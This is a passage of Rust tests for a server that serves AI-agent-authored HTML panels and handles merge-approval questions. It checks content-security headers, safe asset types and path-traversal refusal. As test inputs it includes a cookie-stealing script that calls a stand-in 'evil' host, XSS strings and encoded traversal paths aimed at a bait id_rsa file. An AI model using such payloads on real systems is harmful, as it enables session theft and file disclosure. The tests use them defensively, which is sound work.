11790        let store = fx.questions();
11791        let mut q = Question::new(
11792            "20260902-000000-beef".to_owned(),
11793            "implement".to_owned(),
11794            "impl-A".to_owned(),
11795            summary.to_owned(),
11796            "because it matters".to_owned(),
11797            choices.iter().map(|c| (*c).to_owned()).collect(),
11798        );
11799        store.put(&mut q).expect("put question");
11800        q.id
11801    }
11802
11803    /// A question with a panel the server can serve, plus the named assets.
11804    ///
11805    /// Written through `Questions::put_panel` rather than by laying out the
11806    /// directory here, so these tests exercise the same on-disk shape the
11807    /// agents produce and cannot pass against a layout only the tests know.
11808    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11809        let store = fx.questions();
11810        let mut q = Question::new(
11811            "20260902-000000-beef".to_owned(),
11812            "land".to_owned(),
11813            "fix".to_owned(),
11814            "Merge this?".to_owned(),
11815            "the diff is in the panel".to_owned(),
11816            vec!["merge".to_owned(), "hold".to_owned()],
11817        );
11818        // Staged outside the questions root, because `put_panel` copies from
11819        // wherever the agent left its files.
11820        let staging = fx.home.path().join("staging");
11821        std::fs::create_dir_all(&staging).expect("staging dir");
11822        let sources: Vec<PathBuf> = assets
11823            .iter()
11824            .map(|(name, bytes)| {
11825                let path = staging.join(name);
11826                std::fs::write(&path, bytes).expect("write staged asset");
11827                path
11828            })
11829            .collect();
11830        store
11831            .put_panel(&mut q, html, &sources)
11832            .expect("write the panel");
11833        store.put(&mut q).expect("put question");
11834        q.id
11835    }
11836
11837    /// A talk on disk, without talking to a model.
11838    ///
11839    /// Written as JSON straight into the store the server reads, because the
11840    /// only constructor `talk::begin` offers takes no turn but still requires
11841    /// a real caller-visible flow. The one thing this cannot make up is the
11842    /// seat, so it is built with the real `SeatState::new` and serialized -
11843    /// the alternative, hand-writing that object, would make these tests fail
11844    /// the day the seat gains a field.
11845    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11846        seed_talk_at(&fx.talks(), id, status)
11847    }
11848
11849    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11850        std::fs::create_dir_all(store.root()).expect("talks dir");
11851        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11852            .expect("serialize a seat");
11853        let body = serde_json::json!({
11854            "schema": 1,
11855            "id": id,
11856            "repo": "/repo/magi",
11857            "agent": "mock",
11858            "status": status,
11859            "turns": [],
11860            "created_at": Timestamp::now().to_string(),
11861            "updated_at": Timestamp::now().to_string(),
11862            "seat": seat,
11863        });
11864        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11865        store.get(id).expect("the seeded talk has to be readable");
11866        id.to_owned()
11867    }
11868
11869    #[tokio::test]
11870    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11871        let fx = Fixture::start().await;
11872        let id = panel(
11873            &fx,
11874            "<h1>Merge?</h1><img src=\"diff.svg\">",
11875            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11876        );
11877
11878        for path in [
11879            format!("/api/questions/{id}/panel"),
11880            format!("/api/questions/{id}/asset/diff.svg"),
11881        ] {
11882            let res = fx.get(&path).await;
11883            assert_eq!(res.status, 200, "{path}: {}", res.body);
11884            // The whole string, not a substring. A weakened directive - an
11885            // `img-src *` that lets a panel beacon out to a remote host, a
11886            // `script-src` anything, a missing `form-action` that lets it post
11887            // the owner's decision to a third party - has to fail here, and a
11888            // `contains` assertion would let every one of those through.
11889            assert_eq!(
11890                res.header("content-security-policy"),
11891                Some(
11892                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11893                     font-src data:; base-uri 'none'; form-action 'none'; \
11894                     frame-ancestors 'self'"
11895                ),
11896                "{path} is the only thing between a hostile panel and the tailnet"
11897            );
11898            assert_eq!(
11899                res.header("x-content-type-options"),
11900                Some("nosniff"),
11901                "{path}: a browser must not re-decide the type we sent"
11902            );
11903            assert_eq!(
11904                res.header("referrer-policy"),
11905                Some("no-referrer"),
11906                "{path}: a panel must not leak the question id off the machine"
11907            );
11908
11909            // The front end mounts the frame only after a `HEAD` says the
11910            // panel is there, so `HEAD` has to answer with the same status and
11911            // the same policy as `GET` - a preflight that came back without
11912            // the CSP would mean a frame mounted on an unverified promise.
11913            let pre = fx.head(&path).await;
11914            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11915            assert_eq!(
11916                pre.header("content-security-policy"),
11917                res.header("content-security-policy"),
11918                "{path}: the preflight carries the same policy"
11919            );
11920            assert_eq!(
11921                pre.header("content-type"),
11922                res.header("content-type"),
11923                "{path}: the preflight carries the same type"
11924            );
11925        }
11926    }
11927
11928    #[tokio::test]
11929    async fn a_panel_reaches_the_browser_byte_for_byte() {
11930        let fx = Fixture::start().await;
11931        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
11932        // tag, an entity, and a multi-byte character. The sandbox is what makes
11933        // this safe, so nothing here may be rewritten on the way out - a
11934        // rewritten diff is a diff the owner cannot trust.
11935        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
11936        let id = panel(&fx, html, &[]);
11937
11938        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11939
11940        assert_eq!(res.status, 200);
11941        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11942        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11943        assert_eq!(
11944            res.header("content-disposition"),
11945            None,
11946            "the panel itself is rendered in the frame, not downloaded"
11947        );
11948    }
11949
11950    #[tokio::test]
11951    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11952        let fx = Fixture::start().await;
11953        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11954        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11955        let id = panel(
11956            &fx,
11957            "<img src=\"diff.svg\"><img src=\"shot.png\">",
11958            &[("diff.svg", svg), ("shot.png", png)],
11959        );
11960
11961        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11962        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11963
11964        assert_eq!(as_svg.status, 200);
11965        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11966        // An SVG is XML that may carry script. Inside the panel it is an
11967        // `<img src>` and the script cannot run; opened at the top level it
11968        // would be a document on magi's own origin, so the browser is told to
11969        // download it instead of rendering it.
11970        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11971
11972        assert_eq!(as_png.status, 200);
11973        assert_eq!(as_png.header("content-type"), Some("image/png"));
11974        assert_eq!(
11975            as_png.header("content-disposition"),
11976            None,
11977            "a raster image has no execution surface, so tapping it still shows it"
11978        );
11979        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11980    }
11981
11982    #[tokio::test]
11983    async fn an_html_asset_is_never_served_as_html() {
11984        let fx = Fixture::start().await;
11985        let id = panel(
11986            &fx,
11987            "<p>see the notes</p>",
11988            &[
11989                (
11990                    "notes.html",
11991                    b"<script>fetch('http://evil/'+document.cookie)</script>",
11992                ),
11993                ("hook.js", b"fetch('http://evil/')"),
11994                ("data.json", b"{}"),
11995                ("HEADLINE.TXT", b"plain"),
11996            ],
11997        );
11998
11999        for name in ["notes.html", "hook.js", "data.json"] {
12000            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12001            assert_eq!(res.status, 200, "{name}: {}", res.body);
12002            // Serving this as text/html would be a way to reach agent markup
12003            // at the top level of the operator's browser, outside the frame's
12004            // sandbox and outside its CSP - which is the whole thing the panel
12005            // design exists to prevent. Unlisted types are downloads.
12006            assert_eq!(
12007                res.header("content-type"),
12008                Some("application/octet-stream"),
12009                "{name} must not be a type the browser will execute or render"
12010            );
12011        }
12012        // The whitelist is matched case-insensitively, so an agent shouting the
12013        // extension still gets a readable file rather than a download.
12014        let txt = fx
12015            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12016            .await;
12017        assert_eq!(
12018            txt.header("content-type"),
12019            Some("text/plain; charset=utf-8")
12020        );
12021    }
12022
12023    #[tokio::test]
12024    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12025        let fx = Fixture::start().await;
12026        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12027        // Something outside the panel directory that a traversal would reach if
12028        // one got through, so a passing test is not merely "the file was
12029        // missing anyway".
12030        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12031
12032        // Decoded before this server's handler sees them: axum percent-decodes
12033        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12034        // string with a NUL in it. All three look like ordinary single-segment
12035        // filenames to the router, so the router passes them through and
12036        // `valid_asset_name` is what refuses them - for the literal `..`, and
12037        // for `/`, `\` and NUL not being in the permitted character set.
12038        for encoded in [
12039            "%2e%2e%2fid_rsa",
12040            "..%2fid_rsa",
12041            "..%5cid_rsa",
12042            "%2e%2e%5cid_rsa",
12043            "diff%00.svg",
12044            "..",
12045            ".hidden",
12046            "%2e%2e%2f%2e%2e%2fid_rsa",
12047        ] {
12048            let res = fx
12049                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12050                .await;
12051            assert_eq!(
12052                res.status, 400,
12053                "`{encoded}` has to be refused by name, not looked up: {}",
12054                res.body
12055            );
12056            assert!(res.json()["error"].is_string(), "{}", res.body);
12057        }
12058
12059        // Not decoded, and never this handler's problem: a real slash makes the
12060        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12061        // so axum's router has no route to match and answers before any code
12062        // here runs. Asserted so that a future route with a wildcard segment
12063        // cannot quietly open this door.
12064        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12065            let res = fx
12066                .get(&format!("/api/questions/{id}/asset/{literal}"))
12067                .await;
12068            assert_eq!(
12069                res.status, 404,
12070                "`{literal}` must not match the asset route at all: {}",
12071                res.body
12072            );
12073        }
12074    }
12075
12076    #[tokio::test]
12077    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12078        let fx = Fixture::start().await;
12079        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12080        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12081
12082        // A question nobody wrote a panel for. The client preflights with HEAD
12083        // and cannot see inside a sandboxed frame, so this must be a status and
12084        // not an empty page.
12085        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12086        assert_eq!(none.status, 404, "{}", none.body);
12087        assert!(none.json()["error"].is_string(), "{}", none.body);
12088        assert_eq!(
12089            fx.head(&format!("/api/questions/{plain}/panel"))
12090                .await
12091                .status,
12092            404,
12093            "the preflight is the only way the client can learn this"
12094        );
12095
12096        // A name that is perfectly legal and simply is not there.
12097        let missing = fx
12098            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12099            .await;
12100        assert_eq!(missing.status, 404, "{}", missing.body);
12101        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12102
12103        // A question that does not exist at all, on both routes.
12104        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12105        assert_eq!(
12106            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12107            404
12108        );
12109    }
12110
12111    #[tokio::test]
12112    async fn a_run_with_an_open_question_reads_as_waiting() {
12113        let fx = Fixture::start().await;
12114        let run = "20260902-000000-beef".to_owned();
12115        write_run(&fx.runs(), &run, RunStatus::Implementing);
12116
12117        let before = fx.get("/api/runs").await.json();
12118        assert_eq!(before[0]["waiting"], false, "{before}");
12119
12120        let store = fx.questions();
12121        let mut q = Question::new(
12122            run.clone(),
12123            "implement".to_owned(),
12124            "impl-A".to_owned(),
12125            "Which backend?".to_owned(),
12126            String::new(),
12127            vec!["SQLite".to_owned()],
12128        );
12129        store.put(&mut q).expect("put");
12130
12131        let during = fx.get("/api/runs").await.json();
12132        assert_eq!(during[0]["waiting"], true, "{during}");
12133
12134        // Answered: the run is moving again, and the flag has to follow without
12135        // anything having rewritten run.json.
12136        q.answer(Answer::Choice("SQLite".to_owned()))
12137            .expect("answer");
12138        store.put(&mut q).expect("put");
12139        let after = fx.get("/api/runs").await.json();
12140        assert_eq!(after[0]["waiting"], false, "{after}");
12141    }
12142
12143    #[tokio::test]
12144    async fn an_open_question_is_listed_and_counted_by_health() {
12145        let fx = Fixture::start().await;
12146        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12147
12148        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12149        let listed = fx.get("/api/questions").await.json();
12150        assert_eq!(listed.as_array().expect("array").len(), 1);
12151        assert_eq!(listed[0]["id"], id);
12152        assert_eq!(listed[0]["status"], "open");
12153        assert_eq!(listed[0]["choices"][1], "Redis");
12154        // The count is what makes the phone's indicator honest: it is the one
12155        // number meaning nothing will move until a human acts.
12156        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12157    }
12158
12159    fn obsolete_approval_state() -> RunState {
12160        let mut state = crate::land::tests::repair_state(true, true);
12161        state.pr = Some(crate::run::PrRecord {
12162            url: "https://github.com/example/repo/pull/42".into(),
12163            number: 42,
12164            state: "open".into(),
12165            checks: "green".into(),
12166            round: 1,
12167            rounds: 4,
12168            red_at_merge: Vec::new(),
12169        });
12170        state
12171    }
12172
12173    #[tokio::test]
12174    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12175        for owner in ["missing", "current", "completed", "later"] {
12176            let fx = Fixture {
12177                home: TempDir::new().unwrap(),
12178                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12179            };
12180            let mut state = obsolete_approval_state();
12181            state.status = RunStatus::Landing;
12182            state.parked = true;
12183            state.driver_exited = true;
12184            let mut q = Question::new(
12185                state.id.clone(),
12186                crate::land::APPROVAL_NODE.into(),
12187                "land".into(),
12188                "Old approval".into(),
12189                "Original evidence".into(),
12190                vec!["merge".into(), "hold".into()],
12191            );
12192            state.land_approval = Some(crate::run::LandApproval {
12193                question: q.id.clone(),
12194                head: "head".into(),
12195            });
12196            state.save_under(fx.home.path()).unwrap();
12197            let stale = state.clone();
12198            fx.questions().put(&mut q).unwrap();
12199            let mut task = Task::new(
12200                "Owner".into(),
12201                "Original instruction".into(),
12202                state.repo.clone(),
12203                Source::Human,
12204            );
12205            task.runs.push(state.id.clone());
12206            task.status = if owner == "completed" {
12207                TaskStatus::Done
12208            } else {
12209                TaskStatus::Parked
12210            };
12211            if owner == "later" {
12212                task.runs.push("later-run".into());
12213            }
12214            if owner != "missing" {
12215                fx.queue().put(&mut task).unwrap();
12216            }
12217            let ui = Arc::new(Ui::new(
12218                fx.queue(),
12219                fx.questions(),
12220                fx.talks(),
12221                fx.runs(),
12222                fx.home.path().into(),
12223                state.repo.clone(),
12224            ));
12225            let response = question_answer(
12226                State(ui),
12227                Path(q.id.clone()),
12228                Ok(Json(NewAnswer {
12229                    choice: Some(crate::merge_decision::DISMISS.into()),
12230                    text: None,
12231                    ..Default::default()
12232                })),
12233            )
12234            .await
12235            .unwrap();
12236            assert_eq!(
12237                response.0.question.resolution().as_deref(),
12238                Some(crate::merge_decision::DISMISS)
12239            );
12240            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12241            assert_eq!(disk.status, RunStatus::Superseded);
12242            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12243            assert!(!crate::merge_decision::resumable_hold(&disk));
12244            assert_eq!(
12245                serde_json::to_value(&disk.pr).unwrap(),
12246                serde_json::to_value(&stale.pr).unwrap()
12247            );
12248            assert_eq!(fx.questions().count_open(), 0);
12249            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12250            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12251            if owner == "missing" {
12252                assert!(fx.queue().list().is_empty());
12253            } else {
12254                let after = fx.queue().get(&task.id).unwrap();
12255                assert_eq!(
12256                    after.status,
12257                    if owner == "current" {
12258                        TaskStatus::Done
12259                    } else {
12260                        task.status
12261                    }
12262                );
12263                assert_eq!(after.runs, task.runs);
12264                assert_eq!(after.instruction, task.instruction);
12265                assert_eq!(after.action_applied(&q.id), owner == "current");
12266            }
12267        }
12268    }
12269
12270    #[tokio::test]
12271    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12272        let fx = Fixture::start().await;
12273        let mut state = obsolete_approval_state();
12274        state.status = RunStatus::Landing;
12275        state.parked = true;
12276        state.driver_exited = true;
12277        let mut q = Question::new(
12278            state.id.clone(),
12279            crate::land::APPROVAL_NODE.into(),
12280            "land".into(),
12281            "Superseded PR approval".into(),
12282            "Original review evidence".into(),
12283            vec!["merge".into(), "hold".into()],
12284        );
12285        state.land_approval = Some(crate::run::LandApproval {
12286            question: q.id.clone(),
12287            head: "old-reviewed-head".into(),
12288        });
12289        // The old persisted PR may still say open even when a separate change
12290        // already landed. Dismissal must not use that snapshot to close it.
12291        state.save_under(fx.home.path()).unwrap();
12292        let stale_driver = state.clone();
12293        fx.questions().put(&mut q).unwrap();
12294        let path = fx
12295            .home
12296            .path()
12297            .join("questions")
12298            .join(format!("{}.json", q.id));
12299        let mut legacy = serde_json::to_value(&q).unwrap();
12300        legacy["schema"] = 9.into();
12301        legacy.as_object_mut().unwrap().remove("merge_target");
12302        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12303
12304        // POST without GET tests legacy upgrade and validation at the actual
12305        // entry point, rather than constructing a modern card in the test.
12306        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12307        let answer_path = format!("/api/questions/{}/answer", q.id);
12308        let res = fx.post(&answer_path, Some(&body)).await;
12309        assert_eq!(res.status, 200, "{}", res.body);
12310        let disk = fx.questions().get(&q.id).unwrap();
12311        assert_eq!(
12312            disk.resolution().as_deref(),
12313            Some(crate::merge_decision::DISMISS)
12314        );
12315        assert!(disk.detail.starts_with("Original review evidence"));
12316        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12317        assert_eq!(retired.status, RunStatus::Superseded);
12318        assert_eq!(
12319            serde_json::to_value(&retired.pr).unwrap(),
12320            serde_json::to_value(&state.pr).unwrap()
12321        );
12322        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12323        assert!(!crate::merge_decision::resumable_hold(&retired));
12324        assert!(fx.queue().list().is_empty());
12325        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12326        // A restarted server re-reads the persisted pending list.
12327        let addr = Fixture::serve(
12328            fx.home.path(),
12329            PathBuf::from("/repo/magi"),
12330            launch_idle,
12331            None,
12332        )
12333        .await;
12334        let reconnected = Fixture {
12335            home: fx.home,
12336            addr,
12337        };
12338        let listed = reconnected.get("/api/questions").await.json();
12339        assert!(
12340            listed
12341                .as_array()
12342                .unwrap()
12343                .iter()
12344                .all(|q| q["status"] != "open")
12345        );
12346        assert_eq!(listed[0]["id"], q.id, "history remains available");
12347        assert_eq!(
12348            reconnected.get("/api/health").await.json()["questions_open"],
12349            0
12350        );
12351        assert_eq!(
12352            reconnected
12353                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12354                .await
12355                .status,
12356            409
12357        );
12358        // A late waiter cannot turn the old answer into a new decision.
12359        assert!(
12360            reconnected
12361                .questions()
12362                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12363                .is_err()
12364        );
12365        // The same guard used by claims, repair and publication rejects a
12366        // saved in-memory driver as well as the persisted terminal record.
12367        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12368    }
12369
12370    #[tokio::test]
12371    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12372        let fx = Fixture::start().await;
12373        let mut state = obsolete_approval_state();
12374        state.status = RunStatus::Landing;
12375        state.driver_exited = true;
12376        let mut q = Question::new(
12377            state.id.clone(),
12378            crate::land::APPROVAL_NODE.into(),
12379            "land".into(),
12380            "Obsolete approval".into(),
12381            String::new(),
12382            vec!["merge".into(), "hold".into()],
12383        );
12384        state.land_approval = Some(crate::run::LandApproval {
12385            question: q.id.clone(),
12386            head: "head".into(),
12387        });
12388        state.save_under(fx.home.path()).unwrap();
12389        fx.questions().put(&mut q).unwrap();
12390        let mut task = Task::new(
12391            "Owner".into(),
12392            "Original instruction".into(),
12393            state.repo.clone(),
12394            Source::Human,
12395        );
12396        task.runs = vec![state.id.clone(), "later-run".into()];
12397        fx.queue().put(&mut task).unwrap();
12398        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12399        let claim = fx.queue().claim(&task.id).unwrap();
12400        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12401        let path = format!("/api/questions/{}/answer", q.id);
12402        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12403        assert!(fx.questions().get(&q.id).unwrap().status.open());
12404        drop(claim);
12405        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12406        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12407        assert!(fx.questions().get(&q.id).unwrap().status.open());
12408        drop(publication);
12409        // Unknown liveness and armed auto-merge both fail without settling.
12410        state.driver_exited = false;
12411        state.driver_pid = None;
12412        state.driver_claimed = None; // No durable proof of an unstarted execution.
12413        state.save_under(fx.home.path()).unwrap();
12414        assert_eq!(
12415            state.liveness_under(fx.home.path(), false),
12416            crate::run::Liveness::Unknown
12417        );
12418
12419        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12420        state.driver_exited = true;
12421        state.land_armed_head = Some("head".into());
12422        state.save_under(fx.home.path()).unwrap();
12423        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12424        state.land_armed_head = None;
12425        state.save_under(fx.home.path()).unwrap();
12426        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12427        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12428        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12429    }
12430
12431    #[tokio::test]
12432    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12433        let fx = Fixture::start().await;
12434        let mut state = obsolete_approval_state();
12435        state.status = RunStatus::Landing;
12436        state.driver_exited = true;
12437        let mut q = Question::new(
12438            state.id.clone(),
12439            crate::land::APPROVAL_NODE.into(),
12440            "land".into(),
12441            "Obsolete approval".into(),
12442            String::new(),
12443            vec!["merge".into(), "hold".into()],
12444        );
12445        state.land_approval = Some(crate::run::LandApproval {
12446            question: q.id.clone(),
12447            head: "head".into(),
12448        });
12449        state.save_under(fx.home.path()).unwrap();
12450        fx.questions().put(&mut q).unwrap();
12451        let mut task = Task::new(
12452            "Owner".into(),
12453            "Original instruction".into(),
12454            state.repo.clone(),
12455            Source::Human,
12456        );
12457        task.runs.push(state.id.clone());
12458        task.status = TaskStatus::Parked;
12459        fx.queue().put(&mut task).unwrap();
12460        // Model a crash after the run stop was persisted but before the queue
12461        // and answered question were flushed. Retrying must finish, not resume.
12462        state.merge_decision = Some(crate::merge_decision::Decision {
12463            question: q.id.clone(),
12464            target: crate::merge_decision::Target {
12465                pr: state.pr.as_ref().unwrap().url.clone(),
12466                head: "head".into(),
12467                language: "ja".into(),
12468            },
12469            choice: crate::merge_decision::DISMISS.into(),
12470            closed: false,
12471            replacement_run: None,
12472            replacement_pr: None,
12473        });
12474        state.status = RunStatus::Superseded;
12475        state.save_under(fx.home.path()).unwrap();
12476        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12477        let path = format!("/api/questions/{}/answer", q.id);
12478        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12479        let done = fx.queue().get(&task.id).unwrap();
12480        assert_eq!(done.status, TaskStatus::Done);
12481        assert_eq!(done.runs, task.runs);
12482        assert_eq!(done.instruction, task.instruction);
12483        assert!(done.action_applied(&q.id));
12484        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12485        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12486        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12487    }
12488
12489    #[tokio::test]
12490    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12491        let home = TempDir::new().unwrap();
12492        let ui = Arc::new(Ui::new(
12493            Queue::at(home.path().join("queue")),
12494            Questions::at(home.path().join("questions")),
12495            Talks::at(home.path().join("talks")),
12496            home.path().join("runs"),
12497            home.path().to_owned(),
12498            home.path().to_owned(),
12499        ));
12500        let talks = &ui.talks;
12501        let chat =
12502            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12503        let mut q = Question::new(
12504            "run".into(),
12505            crate::land::APPROVAL_NODE.into(),
12506            "land".into(),
12507            "Merge?".into(),
12508            String::new(),
12509            vec!["merge".into(), "hold".into()],
12510        );
12511        q.routed_task = Some("task".into());
12512        q.routed_chat = Some(chat.id.clone());
12513        q.merge_target = Some(crate::merge_decision::Target {
12514            pr: "https://example.test/pull/1".into(),
12515            head: "head-a".into(),
12516            language: "en".into(),
12517        });
12518        ui.questions.put(&mut q).unwrap();
12519        let send = |body| {
12520            question_answer(
12521                State(ui.clone()),
12522                Path(q.id.clone()),
12523                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12524            )
12525        };
12526        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12527        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12528        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12529        assert!(send(wrong_chat).await.is_err());
12530        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12531        assert!(send(stale).await.is_err());
12532        assert!(ui.questions.get(&q.id).unwrap().status.open());
12533        assert!(send(button.clone()).await.is_ok());
12534        assert_eq!(
12535            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12536            Some("merge")
12537        );
12538        assert!(send(button).await.is_err());
12539    }
12540
12541    #[tokio::test]
12542    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12543        let home = TempDir::new().unwrap();
12544        let ui = Arc::new(Ui::new(
12545            Queue::at(home.path().join("queue")),
12546            Questions::at(home.path().join("questions")),
12547            Talks::at(home.path().join("talks")),
12548            home.path().join("runs"),
12549            home.path().to_owned(),
12550            home.path().to_owned(),
12551        ));
12552        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12553            let mut q = Question::new(
12554                "run".into(),
12555                crate::land::APPROVAL_NODE.into(),
12556                "land".into(),
12557                "Merge?".into(),
12558                String::new(),
12559                vec!["merge".into(), choice.into()],
12560            );
12561            q.routed_task = Some("task".into());
12562            q.merge_target = Some(crate::merge_decision::Target {
12563                pr: "https://example.test/pull/1".into(),
12564                head: "head-a".into(),
12565                language: "en".into(),
12566            });
12567            ui.questions.put(&mut q).unwrap();
12568            let answer = |c: &str| {
12569                question_answer(
12570                    State(ui.clone()),
12571                    Path(q.id.clone()),
12572                    Ok(Json(
12573                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12574                            .unwrap(),
12575                    )),
12576                )
12577            };
12578            let _ = answer(choice).await.unwrap();
12579            assert_eq!(
12580                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12581                Some(choice)
12582            );
12583        }
12584    }
12585
12586    #[tokio::test]
12587    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12588        let home = TempDir::new().unwrap();
12589        let ui = Arc::new(Ui::new(
12590            Queue::at(home.path().join("queue")),
12591            Questions::at(home.path().join("questions")),
12592            Talks::at(home.path().join("talks")),
12593            home.path().join("runs"),
12594            home.path().to_owned(),
12595            home.path().to_owned(),
12596        ));
12597        let mut q = Question::new(
12598            "run".into(),
12599            crate::github_text::ASK_NODE.into(),
12600            "posting-gate".into(),
12601            "Post?".into(),
12602            String::new(),
12603            vec!["use fallback".into()],
12604        );
12605        q.routed_task = Some("task".into());
12606        ui.questions.put(&mut q).unwrap();
12607        let sent = question_answer(
12608            State(ui.clone()),
12609            Path(q.id.clone()),
12610            Ok(Json(
12611                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12612                    .unwrap(),
12613            )),
12614        )
12615        .await;
12616        let _ = sent.unwrap();
12617        assert_eq!(
12618            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12619            Some("use fallback")
12620        );
12621    }
12622
12623    #[tokio::test]
12624    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12625        let fx = Fixture {
12626            home: TempDir::new().unwrap(),
12627            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12628        };
12629        for choice in [
12630            crate::land::HOLD,
12631            crate::land::REPAIR,
12632            crate::land::APPROVE,
12633            crate::merge_decision::WITHDRAW,
12634            "reimplement:beta",
12635        ] {
12636            let mut q = Question::new(
12637                "old-run".into(),
12638                crate::land::APPROVAL_NODE.into(),
12639                "land".into(),
12640                "Decision".into(),
12641                "Review findings".into(),
12642                vec![
12643                    "merge".into(),
12644                    "hold".into(),
12645                    crate::land::REPAIR.into(),
12646                    crate::merge_decision::WITHDRAW.into(),
12647                    "reimplement:beta".into(),
12648                ],
12649            );
12650            q.merge_target = Some(crate::merge_decision::Target {
12651                pr: "https://github.com/example/repo/pull/42".into(),
12652                head: "exact-reviewed-head".into(),
12653                language: "ja".into(),
12654            });
12655            q.consult = Some(ask::ChatConsult {
12656                talk: "another-conversation".into(),
12657                at: jiff::Timestamp::now(),
12658            });
12659            fx.questions().put(&mut q).unwrap();
12660            let ui = Arc::new(Ui::new(
12661                fx.queue(),
12662                fx.questions(),
12663                fx.talks(),
12664                fx.runs(),
12665                fx.home.path().into(),
12666                std::path::PathBuf::from("."),
12667            ));
12668            let response = question_answer(
